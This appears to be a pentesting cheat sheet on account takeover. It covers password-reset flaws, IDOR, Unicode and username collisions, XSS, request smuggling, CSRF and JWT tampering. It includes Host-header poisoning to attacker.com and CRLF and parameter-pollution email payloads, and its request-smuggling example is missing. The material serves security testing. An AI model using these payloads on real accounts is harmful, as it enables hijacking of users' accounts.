Account Takeover
Account Takeover (ATO) is a significant threat in the cybersecurity landscape, involving unauthorized access to users' accounts through various attack vectors.
Summary
Password Reset Feature
Password Reset Token Leak via Referrer
- Request password reset to your email address
- Click on the password reset link
- Don't change password
- Click any 3rd party websites(eg: Facebook, twitter)
- Intercept the request in Burp Suite proxy
- Check if the referer header is leaking password reset token.
Account Takeover Through Password Reset Poisoning
- Intercept the password reset request in Burp Suite
- Add or edit the following headers in Burp Suite :
Host: attacker.com
,X-Forwarded-Host: attacker.com
-
Forward the request with the modified header
-
Look for a password reset URL based on the host header like :
https://attacker.com/reset-password.php?token=TOKEN
Password Reset via Email Parameter
# parameter pollution
email=victim@mail.com&email=hacker@mail.com
# array of emails
{"email":["victim@mail.com","hacker@mail.com"]}
# carbon copy
email=victim@mail.com%0A%0Dcc:hacker@mail.com
email=victim@mail.com%0A%0Dbcc:hacker@mail.com
# separator
email=victim@mail.com,hacker@mail.com
email=victim@mail.com%20hacker@mail.com
email=victim@mail.com|hacker@mail.com
IDOR on API Parameters
- Attacker have to login with their account and go to the Change password feature.
- Start the Burp Suite and Intercept the request
-
Send it to the repeater tab and edit the parameters : User ID/email
Weak Password Reset Token
The password reset token should be randomly generated and unique every time. Try to determine if the token expire or if it's always the same, in some cases the generation algorithm is weak and can be guessed. The following variables might be used by the algorithm.
- Timestamp
- UserID
- Email of User
- Firstname and Lastname
- Date of Birth
- Cryptography
- Number only
- Small token sequence (<6 characters between [A-Z,a-z,0-9])
- Token reuse
- Token expiration date
Leaking Password Reset Token
- Trigger a password reset request using the API/UI for a specific email e.g: test@mail.com
- Inspect the server response and check for
resetToken
- Then use the token in an URL like
https://example.com/v3/user/password/reset?resetToken=[THE_RESET_TOKEN]&email=[THE_MAIL]
Password Reset via Username Collision
- Register on the system with a username identical to the victim's username, but with white spaces inserted before and/or after the username. e.g:
"admin "
- Request a password reset with your malicious username.
- Use the token sent to your email and reset the victim password.
- Connect to the victim account with the new password.
The platform CTFd was vulnerable to this attack. See: CVE-2020-7245
Account Takeover Due To Unicode Normalization Issue
When processing user input involving unicode for case mapping or normalisation, unexcepted behavior can occur.
- Victim account:
demo@gmail.com
- Attacker account:
demⓞ@gmail.com
Unicode pentester cheatsheet can be used to find list of suitable unicode characters based on platform.
Account Takeover via Web Vulneralities
Account Takeover via Cross Site Scripting
- Find an XSS inside the application or a subdomain if the cookies are scoped to the parent domain :
*.domain.com
- Leak the current sessions cookie
- Authenticate as the user using the cookie
Account Takeover via HTTP Request Smuggling
Refer to HTTP Request Smuggling vulnerability page.
-
Use smuggler to detect the type of HTTP Request Smuggling (CL, TE, CL.TE)
-
Craft a request which will overwrite the
POST / HTTP/1.1
with the following data: -
Final request could look like the following
Hackerone reports exploiting this bug
Account Takeover via CSRF
- Create a payload for the CSRF, e.g: "HTML form with auto submit for a password change"
- Send the payload
Account Takeover via JWT
JSON Web Token might be used to authenticate an user.
- Edit the JWT with another User ID / Email
- Check for weak JWT signature
References
- $6,5k + $5k HTTP Request Smuggling mass account takeover - Slack + Zomato - Bug Bounty Reports Explained - August 30, 2020
- 10 Password Reset Flaws - Anugrah SR - September 16, 2020
- Broken Cryptography & Account Takeovers - Harsh Bothra - September 20, 2020
- CTFd Account Takeover - NIST National Vulnerability Database - March 29, 2020
- Hacking Grindr Accounts with Copy and Paste - Troy Hunt - October 3, 2020